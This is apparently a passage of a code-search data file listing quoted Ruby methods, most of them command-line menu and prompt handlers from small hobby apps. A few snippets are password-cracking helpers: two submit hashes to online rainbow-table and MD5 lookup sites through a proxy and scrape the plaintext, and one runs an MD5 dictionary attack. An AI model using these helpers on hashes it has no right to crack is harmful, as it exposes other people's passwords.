\"\n\t\t\tsleep(2)\n login_menu\n end\n end", "def user_select(items)\n choose do |menu|\n menu.index = :number\n menu.prompt = \"Please Choose One:\"\n menu.select_by = :index_or_name\n items.each do |item|\n menu.choice item.to_sym do |command| \n say \"Using: #{command}\" \n selected = command.to_s\n end\n end\n menu.choice :exit do exit 1 end\n end\n end", "def search_not_found\n puts \"Please enter \\'menu\\' to return to the menu or enter another search term.\"\n new_entry = gets.strip.downcase\n if new_entry == \"menu\"\n DCPSCLIcontroller.call\n else \n self.return_name_search_results(find_by_name(new_entry))\n end \n end", "def it64_hash_search(hash_to_find=@hash_to_find, verbose=true)\n if @hash_type == 'LM'\n agent = Mechanize.new\n begin\n agent.user_agent = $config['HTTP']['HTTP_USER_AGENT']\n if $config['HTTP']['PROXY']\n if $config['HTTP']['PROXY_AUTH']\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i, user=$config['HTTP']['PROXY_USER'], pass=$config['HTTP']['PROXY_PASS'])\n else\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n end\n end\n # Fill out form and run search for hash\n page = agent.get('http://rainbowtables.it64.com/p3.php') # Get page\n search_form = page.form_with(:action => 'p3.php') # find form to fill out\n search_form.hashe = hash_to_find # set hash to find value\n button = search_form.button_with(:name => 'ifik') # Identify submit button\n page = agent.submit(search_form, button) # submit form and return new page\n pieces = page.body.scan(/CRACKED&nbsp;<\\/TD><TD>&nbsp;(.{1,7})&nbsp;<\\/TD><\\/TR>/)\n if not pieces.nil? and pieces.size > 0\n plain_jane = pieces.join()\n if verbose\n print_good(\"Match Found: rainbowtables.it64.com\")\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Hash: #{hash_to_find}\".white\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Plain-Text: #{plain_jane}\".white\n end\n return plain_jane\n end\n rescue OpenSSL::SSL::SSLError,Errno::ETIMEDOUT,Net::HTTP::Persistent::Error,NoMethodError,Zlib::DataError,Mechanize::ResponseCodeError => e\n print_error(\"Problem Communicating with: rainbowtables.it64.com\") if verbose\n return nil\n end\n print_error(\"No Results from: rainbowtables.it64.com\") if verbose\n return nil\n else\n print_error(\"#{@hash_type} not supported for: rainbowtables.it64.com\") if verbose\n return nil\n end\n end", "def menu\n puts \"Welcome to the calculator, please choose from the following options:\n B : Basic Calculator\n A : Advanced Calculator\n Q : Quit\"\n\n menu_response = gets.chomp.downcase\n\nend", "def menu\n input = gets.strip.downcase\n \n if input == \"hungry\"\n cuisine_list\n menu # return 'menu' don't want my user to get kicked out of application \n elsif input == \"goodbye\"\n goodbye\n else \n invalid_entry\n end \n end", "def myaddr_hash_search(hash_to_find=@hash_to_find, verbose=true)\n if @hash_type == 'MD5'\n agent = Mechanize.new\n begin\n agent.user_agent = $config['HTTP']['HTTP_USER_AGENT']\n if $config['HTTP']['PROXY']\n if $config['HTTP']['PROXY_AUTH']\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i, user=$config['HTTP']['PROXY_USER'], pass=$config['HTTP']['PROXY_PASS'])\n else\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n end\n end\n # Find form, enter hash, run search...\n page = agent.get('http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php')\n search_form = page.form_with(:name => 'f1') # our form\n search_form.md5 = hash_to_find # set hash in form field value\n page = agent.submit(search_form, search_form.buttons.first) # submit form and return new page\n # Check for match found to requesting hash\n checking_hash = /<div class='white_bg_title'><span class='middle_title'>MD5 hash<\\/span>: #{hash_to_find}<\\/div>\\s<br>/\n bad_news = /<div class='error_title'>Hash \"#{hash_to_find}\" not found in database<\\/div>/\n if page.body =~ checking_hash and not page.body =~ bad_news\n if page.body =~ /\\s<div class='white_bg_title'><span class='middle_title'>Hashed string<\\/span>: (.+)<\\/div>/\n plain_jane = $1.to_s.strip.chomp\n if verbose\n print_good(\"Match Found: md5.my-addr.com\")\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Hash: #{hash_to_find}\".white\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Plain-Text: #{plain_jane}\".white\n end\n return plain_jane\n end\n end\n rescue OpenSSL::SSL::SSLError,Errno::ETIMEDOUT,Net::HTTP::Persistent::Error,NoMethodError,Zlib::DataError,Mechanize::ResponseCodeError => e\n print_error(\"Problem Communicating with: md5.my-addr.com\") if verbose\n return nil\n end\n print_error(\"No Results from: md5.my-addr.com\") if verbose\n return nil\n else\n print_error(\"#{@hash_type} not supported for: md5.my-addr.com\") if verbose\n return nil\n end\n end", "def search_prompt\n puts Spacer \n puts \"Please Enter a #{@search_type}\".colorize(:light_black)\n print \"or 'back' to go back to main menu:\".colorize(:light_black)\n end", "def pick_option\n input = get_input\n if input == '1'\n events_array = search_by_city\n display_events_by_city(events_array)\n save_event_or_main_menu(events_array)\n elsif input == '2'\n attractions_array = search_by_keyword\n display_by_keyword(attractions_array)\n save_event_or_main_menu(attractions_array)\n elsif input == '3'\n display_user_events\n elsif input == '4'\n delete_account\n elsif input == '5'\n space(1)\n puts \"#{$logged_in.username}, thanks for checking us out. See ya later!\"\n exit\n else\n space(1)\n invalid_input\n pick_option\n end\nend", "def display_result\n display_menu\n input = gets.chomp\n\n while input != \"quit\"\n if input =~ /\\Afind \\d/\n show_id(input)\n elsif input == \"all\"\n show_all\n elsif input == \"qualified\"\n show_qualified\n elsif input == \"menu\"\n display_menu\n else\n puts \"That is not a valid option\"\n end\n\n puts \"\\n\"\n input = gets.chomp\n end\n\n if input == \"quit\"\n return\n end\nend", "def situation_selection\n $prompt.select(\"Welcome to Ticket Master! What would you like to do?\") do |menu|\n menu.choice 'Sign up'\n menu.choice 'Login'\n menu.choice 'Terminate program'\n end\nend", "def main_menu\n puts Spacer \n puts \"What Would you like to do today?\".colorize(:light_black)\n puts \"\"\n puts \"1. Search Pokemon by Name\"\n puts \"2. Search Pokemon by Pokedex Number\"\n puts \"3. Search Pokemon by Type\"\n puts \"4. Exit\"\n puts \"\"\n puts Spacer\n print \"Please Enter a Number 1 - 4:\".colorize(:light_black) \n @main_menu_input = gets.chomp.to_i\n\n case @main_menu_input\n when 1\n @search_type = \"Pokemon Name\" \n search_menu\n when 2\n @search_type = \"Pokedex Number\"\n search_menu\n when 3 \n @search_type = \"Type\"\n search_menu\n else \n menu_error unless @main_menu_input == 4\n end\n end", "def list_option\n list_politicians\n list_voters\n puts\n puts \"(R)eturn to the main menu?\".center(80).green\n menu_return = gets\n end", "def search_menu\n system(\"clear\")\n @search_menu_input = nil\n\n until @search_menu_input == 'back'\n search_prompt\n @search_menu_input = gets.chomp.downcase\n\n unless @search_menu_input == 'back'\n if valid_input_type?\n find_or_create_search_request\n if @api.valid_response?\n print_search_results\n next_menu\n else \n search_error\n end\n else \n type_error\n end\n end\n end\n system(\"clear\")\n end", "def find_game\n prompt = TTY::Prompt.new\n prompt.select(\"Would you like to search by..\") do |menu|\n menu.choice \"System\", -> {view_by_system}\n menu.choice \"Category\", -> {view_by_category}\n menu.choice \"Back to Main Menu\", -> {welcome}\n end\n end", "def main_menu\n puts \"------------------------------------------------------------------------------------------------------\".colorize(:yellow)\n Artii::Base#asciify\n a = Artii::Base.new\n a.asciify(\"Toy Robot Challenge\")\n system(\"clear\")\n puts a.asciify(\"Toy Robot Challenge\").colorize(:red,)\n\n prompt = TTY::Prompt.new\n choices = [\n {name: 'New Game.', value: 1},\n {name: 'Exit.', value: 2},\n ]\n players_input = prompt.select(\"Select An Option:\", choices) \n case players_input\n when 1\n new_game\n when 2\n exit\n end \nend", "def login\n puts \"Welcome to Singh Accounting Online Appointment System\"\n @prompt.select \"Are you a returning client?\" do |menu|\n menu.choice \"Yes\", -> do\n phone = @prompt.ask(\"Please Enter Your Phone Number\")\n @client = Client.find_by(phone: phone)\n \n \n\n if @client.nil?\n puts \"Sorry, cannot find client with that phone\"\n @prompt.select \"What would you like to do?\" do |m|\n m.choice \"Try Again\", -> { login }\n m.choice \"Create Account\", -> { new_client }\n m.choice \"Exit\", -> { exit_method }\n end\n end\n end\n\n menu.choice \"No (Create New Client Portal)\", -> { new_client }\n menu.choice \"Exit The System\", -> { exit_method }\n \n \n \n end\n end", "def main_menu\n puts \"===============\"\n puts \"Make a selection\"\n puts \"===============\"\n puts \"1: Command line\"\n puts \"2: Atom\"\n puts \"3: Search?\"\n puts \"4: Quit\"\n puts \"===============\"\n\n case gets.strip\n when \"1\"\n command_line_menu\n when \"2\"\n atom_menu\n when \"3\"\n search_function\n reset\n when \"4\"\n exit 0\n else\n bad_choice\n main_menu\n end\nend", "def check_main_menu_choice(given_choice)\n if given_choice == \"First Time User, Want To Register\"\n choice = 1\n end\n if given_choice == \"Already A Registered User, Want To Login\"\n choice = 2\n end\n if given_choice == \"Do Not Wish To Register, Just Browsing\"\n choice = 3\n end\n if given_choice == \"Looking For Info About The App\"\n choice = 4\n end\n if given_choice == \"Nothing Really, Spare Me Your @?%#&?|%!\"\n choice = 5\n end\n choice\nend", "def choose_ssh_key(cloud)\n @api.account_id = @options[:dst]\n\n ssh_keys = @api.clouds(:id => cloud.split(\"/\").last).show.ssh_keys\n puts \"Choose SSH Key:\\n\\n\"\n i = 0\n ssh_keys.index.each do |key|\n puts \"[#{i}] #{key.name}\\n\"\n i += 1\n end\n print \"\\n? \"\n\n return ssh_keys.index[gets.chomp.to_i].href\nend", "def house_menu\n puts \"\n ┬ ┬┌─┐┬ ┬┌─┐┌─┐ ┬┌┐┌┌─┐┌─┐\n ├─┤│ ││ │└─┐├┤ ││││├┤ │ │\n ┴ ┴└─┘└─┘└─┘└─┘ ┴┘└┘└ └─┘\n\n Please select an option from below:\n \"\n prompt = TTY::Prompt.new\n menu_choices = [\n \" [1] Find all characters of a house\",\n \" [2] Find largest houses\",\n \" [3] Find all houses of a region\",\n \" [4] Find info of a house\",\n \" [5] Wiki Menu\",\n \" [6] Main Menu\"\n ]\n prompt.select(\" \", menu_choices)\nend", "def menu\n input = nil\n\n while input.to_i != -1 && (input.to_i < 1 || input.to_i > 6)\n index = 1 # reset the counter each time a option is being chosen\n puts 'Enter the number for which API\n lookup service you would like to test:'\n\n for i in LOOKUP_CHOICES\n puts \"#{index} ... #{i}\"\n index += 1\n end\n\n puts '-1 .. to exit'\n print '>>'\n input = gets.chomp\n end\n input.to_i\n end", "def menu(menu_hash, choice_descriptor = \"menu option\")\n fail_counter = 0\n menu_symbols = menu_hash.map { |item| item[\"displayToken\"] } # @TODO Law of demeter violation. Hand it what it expects, call #keys\n menu_k_v = menu_hash.map { |item| [ \"#{item[\"displayToken\"]}\", \"#{item[\"displayOption\"]}\" ] } # @TODO Law of demeter violation. Hand it what it expects\n while(true)\n display_hash(menu_k_v) \n token_input = line_input(\"#{@display_messages[\"ENTER_DATA\"]} #{choice_descriptor}\")\n if(menu_symbols.include? token_input)\n return token_input\n else\n puts @display_messages[\"INCORRECT_INPUT\"]\n fail_counter += 1\n if(fail_counter >= 3)\n puts @display_messages[\"GIVING_UP\"]\n return \"\"\n end\n end\n end\n end", "def select_choice_patron\n\tputs \"\\n1 Add a Patron\\n2 Information on a Patron\\n3 Edit a Patron\\n4 Remove a Patron\\n5 View All Patrons\\n6 View All Books a Patron has Checked Out\\n0 Return to Main Menu\"\n\tselect = make_selection\n\n\twhile select != \"1\" && select != \"2\" && select != \"3\" && select != \"4\" && select != \"5\" && select != \"6\" && select != \"0\"\n\t\tputs \"\\nInvalid choice selected\\n\"\t\t \t\t\n\t\tselect = make_selection\n\tend\n\n\tif select == \"1\"\n\t\tadd_patron\n\n\telsif select == \"2\"\n\t\tputs \"\\nTo get information about a patron please enter their ID #\\n\"\n\t\tshow_all_patrons\n\t\tselect = make_selection.to_i\n\t\tselect = verify_patron_exists(select)\n\t\tdisplay_patron(select)\n\n\telsif select == \"3\"\n\t\tputs \"\\nTo edit a patron please enter their ID #\\n\"\n\t\tshow_all_patrons\n\t\tselect = make_selection.to_i\n\t\tselect = verify_patron_exists(select)\n\t\tedit_patron(select)\n\n\telsif select == \"4\"\n\t\tputs \"\\nTo remove a patron please enter their ID #\\n\"\n\t\tshow_all_patrons\n\t\tselect = make_selection.to_i\n\t\tselect = verify_patron_exists(select)\n\t\tremove_patron(select)\n\n\telsif select == \"5\"\n\t\tshow_all_patrons\n\n\telsif select == \"6\"\n\t\tputs \"\\nTo see what books a patron has checked out please enter their ID #\\n\"\n\t\tshow_all_patrons\n\t\tselect = make_selection.to_i\n\t\tselect = verify_patron_exists(select)\n\t\tshow_books_checked_by_patron(select)\n\n\telsif select == \"0\"\n\t\tputs \"\\nNow entering main menu\\n\"\n\n\tend\n\tselect\t\t\nend", "def main_selector\n print \"What would you like to do? Create, List, Update, or Vote: \"\n main_decision = gets.chomp.downcase\n main_decision = main_decision[0]\n case main_decision\n when \"c\"\n create_person_or_politician\n when \"l\"\n list_characters_created\n when \"u\"\n update_character\n when \"v\"\n vote\n else\n puts \"That is not a valid entry please try again!\"\n main_selector\n end\n end", "def display_guest_options_menu\n prompt = TTY::Prompt.new\n display_options_menu = prompt.select('Please select an option:') do |menu| \n menu.choice 'Search'\n menu.choice 'Favourites'\n menu.choice 'Help'\n menu.choice 'Exit'\n end\nend", "def character_search\n puts \"Enter a Marvel character to search for: \"\n character = gets.chomp\n @client.character(character)\n end", "def get_menu_choice\n\t\tchoices = [\"1. Play Hangman\", \"2. Load Saved Game\", \"3. Delete Saved Game\",\n\t\t\t\"4. List Saved Games\", \"5. Quit\"]\n\t\tdisplay_menu choices\n\n\t\twhile true\n\t\t\tprint \"Enter Selection (1 - #{ choices.length }): \"\n\t\t\tchoice = gets.chomp.to_i\n\t\t\treturn choice if choice.between?(1, choices.length)\n\t\tend\n\tend", "def select(option)\n\t\tcase option \n\t\twhen \"1\" then login\n\t\twhen \"2\" then register\n\t\twhen \"3\" then exit\n\t\tend\n\tend", "def ask_for_update(client)\r\n\tputs \"Select a field to update (or none).\"\r\n\tputs client.keys\r\n\tchoice = gets.chomp.to_sym\r\n\tif client.keys.include?(choice)\r\n\t\tif client[choice].is_a? Integer\r\n\t\t\tclient[choice] = gets.chomp.to_i\r\n\t\telse\r\n\t\t\tclient[choice] = gets.chomp\r\n\t\tend\r\n\tend\r\n\treturn client\r\nend", "def main_menu\n puts\n puts \"What would you like to do? Please enter a number:\".colorize(:green)\n puts \"---------------------\"\n puts \"1. Search Developer Jobs\".colorize(:color => :blue, :background => :white)\n puts \"---------------------\"\n puts \"2. See Saved Jobs\".colorize(:color => :blue, :background => :white)\n puts \"---------------------\"\n puts \"3. Apply From Saved Jobs\".colorize(:color => :blue, :background => :white)\n puts \"---------------------\"\n puts \"4. Have You Moved? Update Location Here\".colorize(:color => :blue, :background => :white)\n puts \"---------------------\"\n puts \"5. Sign Out\".colorize(:color => :blue, :background => :white)\n puts \"---------------------\"\n puts \"6. Exit Program\".colorize(:color => :blue, :background => :white)\n puts \"---------------------\"\n main_menu_response = gets.chomp.downcase\n if main_menu_response == \"1\"\n search_jobs\n elsif main_menu_response == \"2\"\n saved_jobs\n elsif main_menu_response == \"3\"\n apply_job\n elsif main_menu_response == \"4\"\n update_location\n elsif main_menu_response == \"5\"\n @@user_id = nil\n puts \"Signing out\".colorize(:color => :blue, :background => :white)\n sleep(1)\n welcome\n elsif main_menu_response == \"6\"\n exit\n else\n invalid_response\n main_menu\n end\n end", "def get_input(message, choices)\n print(message)\n response = gets.chomp.downcase\n while response.length < 1 || !choices.include?(response[0])\n print(\"Invalid selection. \" + message)\n response = gets.chomp.downcase\n end\n return response[0]\nend", "def main_menu\n while true\n print_main_menu\n user_selected = gets.chomp.to_s\n call_option(user_selected)\n end\n end", "def select_recipe(user_input)\n i = 0\n while i <= @recipe_name.size\n index = @recipe_name.find_index {|item| item == @recipe_name[i]}\n if index == user_input\n system(\"clear\")\n puts @recipe_name[i].colorize(:cyan)\n\n puts \"\\nDescription : \".colorize(:yellow)\n puts @recipe_description[i]\n\n puts \"\\nIngredients : \".colorize(:yellow)\n puts @recipe_ingredients[i]\n\n puts \"\\nDirections : \".colorize(:yellow)\n puts @recipe_directions[i]\n\n puts \"\"\n break\n elsif index != user_input\n\n else \n puts \"That wasn't correct... try again.\".colorize(:red)\n end\n i = i+1\n end\n end", "def do_server_menu(data)\n data.strip!\n case data\n when \"1\"\n self.print \"Character name: \", false, false\n @state = :login_name\n when \"2\"\n ask_new_name\n when \"3\"\n output \"Farewell!\"\n close_connection_after_writing\n when /[a-zA-Z]+/\n login_name(data)\n else\n show_server_menu\n end\n end", "def main_menu\n\t\twhile true\n\t\t\tprint_main_menu\n\t\t\tuser_selected = gets.chomp.to_i\n\t\t\t\tif user_selected == 7\n\t\t\t\tputs \"Current session ended, goodbye!\"\n\t\t\t\treturn\n\t\t\tend\n\t\t\tcall_option(user_selected)\n\t\tend\n\tend", "def main_menu_options\n a = Artii::Base.new #display main title greeting\n a.asciify('Menu')\n puts a.asciify('Menu').colorize(:blue)\n\n puts \"\"\n puts \"1. Search movies.\"\n puts \"2. View your list.\"\n puts \"\"\n puts \"Please input the number corresponding to your choice.\"\n input = gets.chomp #todo Check to see if you can break this\n system \"clear\"\n if input == '1'\n puts \"Let's look at some movies.\"\n movie_search #send user to the movie search screen\n elsif input == '2'\n display_movie_list_and_movie_list_options #send movie to the movie list screen\n else\n \"Please select a valid option\"\n main_menu_options #call the method again\n end\n end", "def main_menu_prompt\n welcome\n menu = [\n { name: \"View list of Recipes\", value: 1},\n { name: \"Input a new recipe into the recipe book\", value: 2},\n { name: \"Edit a recipe from the recipe book\", value: 3},\n { name: \"Display Help information\", value: 4},\n { name: \"Exit\", value: 5}\n ]\nmm_choice = $prompt.select(\"Please select an option\", menu)\nreturn mm_choice\nend", "def cli_menu\n system \"clear\"\n menu_header\n puts\n puts \"Welcome, #{@customer.name}!\"\n puts\n $prompt.select(\"SELECT AN OPTION ⬇\") do |menu|\n menu.choice \"Fast Food\", -> { full_menu }\n menu.choice \"Restaurants\", -> { restaurants_menu }\n menu.choice \"Place Order\", -> { place_an_order }\n menu.choice \"Previous Orders\", -> { customer_orders }\n menu.choice \"Cancel Order\", -> { cancel_order }\n menu.choice \"My Account\", -> { account_information }\n menu.choice \"Logout\", -> { exit }\n end\nend", "def coin_grab(input)\n coin = CryptoSearchCli::Coin.find_by_symbol_or_name(input)\n if coin.class == CryptoSearchCli::Coin\n coin.display_current_price\n main_menu(coin)\n else\n puts \"Sorry, that cryptocurrency was not found, please try again\"\n main_lookup\n end\n end", "def main_select(pl_options, pl_status, fishing_hole)\n puts 'What would you like to do?'\n puts\n\n pl_options.each do |pl_opt,explanation|\n puts \" #{pl_opt.to_s.capitalize}: #{explanation}\"\n end\n\n pl_input = gets.chomp\n\n if pl_options.has_key?(pl_input.downcase.to_sym)\n case\n when pl_input.downcase == 'status'\n status(pl_status)\n when pl_input.downcase == 'fish'\n fish(pl_status, fishing_hole)\n when pl_input.downcase == 'action'\n action(pl_status)\n end\n else\n puts 'You must choose a valid option. Options are:'\n pl_options.each do |pl_opt|\n print \"#{pl_opt.to_s.capitalize}\" + ' '\n end\n puts\n puts\n end\n return pl_input\nend", "def selection(input, user)\n case input\n when 1\n get_number_of_random_recipes(user)\n when 2\n recipe_hash = run_option_find_recipe_by_name\n run_sub_menu_option(user, recipe_hash)\n when 3\n run_option_create(user)\n when 4\n run_option_view_favs(user)\n end\n end", "def crack index\n\thash = $hashes[index]\n\tfound = false\n\t#try to load the dictionary file\n\tif File.exist? 'dictionary.txt'\n\t\tdictionary = File.open 'dictionary.txt'\n\telse\n\t\tputs 'Could not find dictionary.txt! Aborting.'\n\t\treturn\n\tend\n\n\tstart = Time.now\n\t#check the hash we are on against hashes of passwords from the dictionary until we find a match.\n\tdictionary.each_line do |line|\n\t\tline.chomp!\n\t\tif (Digest::MD5.hexdigest line).eql? hash\n\t\t\tfinish = Time.now\n\t\t\tputs \"\\nHash: #{hash}\"\n\t\t\tputs \"Password discovered in #{finish - start} seconds.\"\n\t\t\tputs \"Password: #{line}\"\n\t\t\tfound = true\n\t\t\tbreak\n\t\tend\n\tend\n\t#when we get here, we've either found a match or exhausted all our options.\n\t#print the disappointment if no match was found.\n\tunless found\n\t\tfinish = Time.now\n\t\tputs \"\\nHash: #{hash}\"\n\t\tputs \"#{finish - start} seconds have elapsed.\"\n\t\tputs 'The password could not be found.'\n\tend\nend", "def welcome_menu\n prompt = TTY::Prompt.new\n puts\"( ノ ゚ー゚)ノ☀️ Welcome to Weeb Favorites! ☀️ヽ(゚ー゚ヽ)\"\n new = prompt.select(\"Before making modifications, please create a name:\", [\"Create\", \"View Duo List\", \"Modifications\", \"Exit\"])\n\n case new\n\n when 'Create'\n create\n chosen_char\n\n when 'View Duo List'\n find_all_duo\n\n when 'Modifications'\n mods\n\n when 'Exit'\n close_app \n end \nend", "def display_menu\n puts \"Choose from the following options: \\n\n to find a candidate, type 'find id' (ex. find 1)\n to view all candidates, type 'all'\n to view all qualified candidates, type 'qualified'\n to exit, type 'quit' \n to view menu, type 'menu' \\n\\n\"\nend", "def select_choice_staff_member\n\tputs \"\\n1 Add a Staff Member\\n2 Information on a Staff Member\\n3 Edit a Staff Member\\n4 Remove a Staff Member\\n5 View All Staff Members\\n6 Reassign a Staff Member to a Different Branch\\n0 Return to Main Menu\"\n\tselect = make_selection\n\n\twhile select != \"1\" && select != \"2\" && select != \"3\" && select != \"4\" && select != \"5\" && select != \"6\" && select != \"0\"\n\t\tputs \"\\nInvalid choice selected\\n\"\t\t \t\t\n\t\tselect = make_selection\n\tend\n\n\tif select == \"1\"\n\t\tadd_staff_member\n\n\telsif select == \"2\"\n\t\tputs \"\\nTo get information about a staff member please enter their ID #\\n\"\n\t\tshow_all_staff_members\n\t\tselect = make_selection.to_i\n\t\tselect = verify_staff_member_exists(select)\n\t\tdisplay_staff_member(select)\n\n\telsif select == \"3\"\n\t\tputs \"\\nTo edit a please enter their ID #\\n\"\n\t\tshow_all_staff_members\n\t\tselect = make_selection.to_i\n\t\tselect = verify_staff_member_exists(select)\n\t\tedit_staff_member(select)\n\n\telsif select == \"4\"\n\t\tputs \"\\nTo remove a staff member please enter their ID #\\n\"\n\t\tshow_all_staff_members\n\t\tselect = make_selection.to_i\n\t\tselect = verify_staff_member_exists(select)\n\t\tremove_staff_member(select)\n\n\telsif select == \"5\"\n\t\tshow_all_staff_members\n\n\telsif select == \"6\"\n\t\tputs \"\\nTo reassign an employee to a different branch please enter their ID #\\n\"\n\t\tshow_all_staff_members\n\t\tselect = make_selection.to_i\n\t\tselect = verify_staff_member_exists(select)\n\t\treassign_staff_member(select)\n\n\n\telsif select == \"0\"\n\t\tputs \"\\nNow entering main menu\\n\"\n\n\tend\n\tselect\t\t\nend", "def search_selection\n puts SEARCH\n @query = STDIN.gets.chomp\n\n case @query\n when EXIT_COMMAND\n @loop = false\n when HELP_COMMAND\n show_help\n when FILE_COMMAND\n specify_files_to_search\n else\n system 'clear'\n process_search\n end\n end", "def ui(hash)\n selection = ''\n puts \"\\n~~~~~~~~~~ POPULATIONS ~~~~~~~~~~\"\n\n until selection == 'Quit' do\n puts \"\\n=================================\"\n puts \"~Enter the name of a country\\n~Type 'all' to show all countries\\n~Type 'quit' to exit\"\n puts \"=================================\\n\"\n\n selection = gets.chomp.split.map(&:capitalize).join(' ') # capitalize input string\n if selection != 'Quit' \n if selection == 'All' \n longest_key = hash.keys.max {|key1, key2| key1.length <=> key2.length} # determine col width\n printf(\"\\n\\n%-#{longest_key.length}s %s\\n\", 'Country', 'Population')\n puts \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n\"\n hash.each do |key, value|\n printf(\"%-#{longest_key.length}s %s\\n\", key, value) # col alignment\n end\n else\n if hash.has_key?(selection)\n puts \"\\n#{selection} has a total population of #{hash[selection]}\"\n else\n puts \"\\n#{selection} was not found\"\n end\n end\n end\n end\nend", "def go_to(input)\n # get input to menu selection and match to the value to open screen\n case input\n when \"PET_SITTERS\"\n menu_pet_sitter\n when \"CLIENTS\"\n @last_menu = \"main_menu\"\n menu_clients()\n when \"JOBS\"\n @last_menu = \"main_menu\"\n menu_jobs()\n when \"BACK\"\n self.send(@last_menu)\n when \"HOME\"\n main_menu()\n when \"EXIT\"\n system 'clear'\n @prompt.ask(\"#{@emoji[:smiling_cat_face_with_open_mouth]} Bye! #{@emoji[:dog_face]}\".colorize(:magenta))\n exit(0)\n end\n end", "def main_menu\n selection = input(@menu) {|o| (1..2) === o.to_i }.to_i\n \n if 1 == selection\n :continue\n elsif 2 == selection\n :quit\n end\n end", "def menu\n puts \"#{dashes}\\n\n Choose from the following options - using the numbers (1-6) as your input:\\n\n - 1 - Create your user profile\n - 2 - Search for doctors by region\n - 3 - Search for doctors by specialty\n - 4 - Search for the doctors the user has visited\n - 5 - Does something else\n - 6 - Quit the application\n \"\n end", "def get_selection(message, options, board, opponent)\n loop do\n puts \"#{message}#{options}\"\n user_input = gets.chomp.downcase\n if options.keys.include?(user_input.to_i)\n puts \"you chose #{options[user_input.to_i]}\"\n return user_input\n else\n handle_non_move_choice(user_input, board, opponent)\n end\n end\n end", "def search\n\tuser_search = gets.strip.downcase\n\tsearch_input(user_search)\nend", "def main_menu() \n user_input = nil\n while user_input != 4\n system(\"clear\")\n\n puts title_box(\"Main Menu\")\n\n prompt = TTY::Prompt.new\n question = \"Select an action:\"\n choices = [{\"Add book\" => 1}, {\"Check log\" => 2}, {\"Manage log\" => 3}, {\"Exit\" => 4}]\n user_input = prompt.select(question, choices) \n #add new book to log\n if user_input == 1\n add_book()\n #check log\n elsif user_input == 2\n check_log()\n # manage log\n elsif user_input == 3\n manage_log() \n else user_input == 4\n return user_input\n end\n end\nend", "def pick_solution\n \tputs \"Enter your secret code. Choose four colors\"\n \tenter_row\n end", "def menu(user)\n if user == nil\n return nil\n end\n puts \"Make your selection (1-5):\"\n puts \" 1. Start New Game\"\n puts \" 2. View Leaderboard\"\n puts \" 3. View your Records\"\n puts \" 4. Change your Username\"\n puts \" 5. Delete your Username and Exit\\n\\n\"\n puts \"To exit the game, enter \" + \"EXIT\\n\\n\".red\n print \">> \"\n\n input = gets.chomp\n caseput = input.downcase\n loop do\n case input\n when \"1\"\n select_difficulty(user)\n break\n when \"2\"\n view_leaderboard(user)\n break\n when \"3\"\n system('clear')\n user.self_records\n break\n when \"4\"\n user.update_username\n break\n when \"5\"\n user.delete_user\n break\n when \"exit\"\n system('clear')\n end_program\n break\n else\n puts \"Error, #{input} is not 1-5, try again\"\n print \">> \"\n input = gets.chomp\n end\n end\nend", "def char_selected(prompt='chose :', srcs)\n print prompt\n while true\n res = gets.chop!\n case res\n when /[#{srcs}]/i\n \n return res\n \n end\n end\nend", "def main_menu\n\tputs \"\\n1 Library\\n2 Staff Members\\n3 Books\\n4 Patrons\\n0 Exit\\n\"\n\tselect = make_selection\n\n\twhile select != \"1\" && select != \"2\" && select != \"3\" && select != \"4\" && select != \"0\"\n\t\tputs \"\\nInvalid choice selected\\n\"\t\t \t\t\n\t\tselect = make_selection\n\tend\n\n\tif select == \"1\"\n\t\tlibrary_choice = \"9\"\n\t\twhile library_choice != \"0\"\n\t\t\tlibrary_choice = select_choice_library\n\t\tend\n\n \telsif select == \"2\"\n\t\tstaff_member_choice = \"9\"\n\t\twhile staff_member_choice != \"0\"\n\t\t\tstaff_member_choice = select_choice_staff_member\n\t\tend\n\n\n\telsif select == \"3\"\n\t\tbook_choice = \"9\"\n\t\twhile book_choice != \"0\"\n\t\t\tbook_choice = select_choice_book\n\t\tend\n\n\n\telsif select == \"4\"\n\t\tpatron_choice = \"9\"\n\t\twhile patron_choice != \"0\"\n\t\t\tpatron_choice = select_choice_patron\n\t\tend\n\n\n\telsif select == \"0\"\n\t\tputs \"\\nGoodbye\"\t\t \t\t\n\tend\n\tselect \nend", "def main_menu\n puts \"\"\n puts \"-----------------------------------------------\"\n puts \"\"\n puts \"Please select an option:\"\n puts \"\"\n puts \"Enter 'list' for a list characters, 'quote' for a random Stan Lee quote, or 'exit' to bid farewell.\"\n puts \"\"\n input = user_input\n\n if input == 'list'\n list_characters\n elsif input == 'quote'\n stan_lee_quote\n elsif input == 'exit'\n goodbye\n elsif input != 'list' || input != 'exit' # had to add \"input !=\" each time to avoid the string literal warning\n invalid_input\n main_menu\n end\n \n end", "def get_response(name)\n puts `clear`\n puts \"*** Welcome to #{name} ****\"\n puts \"Please select one of the choices below.\"\n print \"a(d)d user, (l)ist of all animals, (g)ive animal, (a)doption a pet, (c)lient list, (e)dit animal, edit (u)ser, (q)uit: \"\n gets.chomp.downcase\nend", "def interactive_menu\n loop do \n print_menu\n user_selection(STDIN.gets.chomp)\n end\nend", "def main_menu\n \twhile true\n \t\tprint_main_menu\n\n \t\tprint \"Choose an option:\"\n \t\tuser_input = gets.chomp.to_i\n\n \t\tbreak if user_input == 7\n \t\t\n choose_option(user_input)\n \tend\n end", "def search_submenu(entry)\n #print out submenu for entry\n puts \"\\nd - delete entry\"\n puts \"e - edit this entry\"\n puts \"m - return to main menu\"\n #save user input to selection\n selection = gets.chomp\n\n #case to take specific action based on user input\n case selection\n #call delete_entry and call main_menu after it returns\n when \"d\"\n system \"clear\"\n delete_entry(entry)\n main_menu\n #call edit_entry\n when \"e\"\n edit_entry(entry)\n system \"clear\"\n main_menu\n #returns to main_menu\n when \"m\"\n system \"clear\"\n main_menu\n #if no match, clear the screen and ask for input again\n #by calling search_submenu\n else\n system \"clear\"\n puts \"#{selection} is not a valid input\"\n puts entry.to_s\n 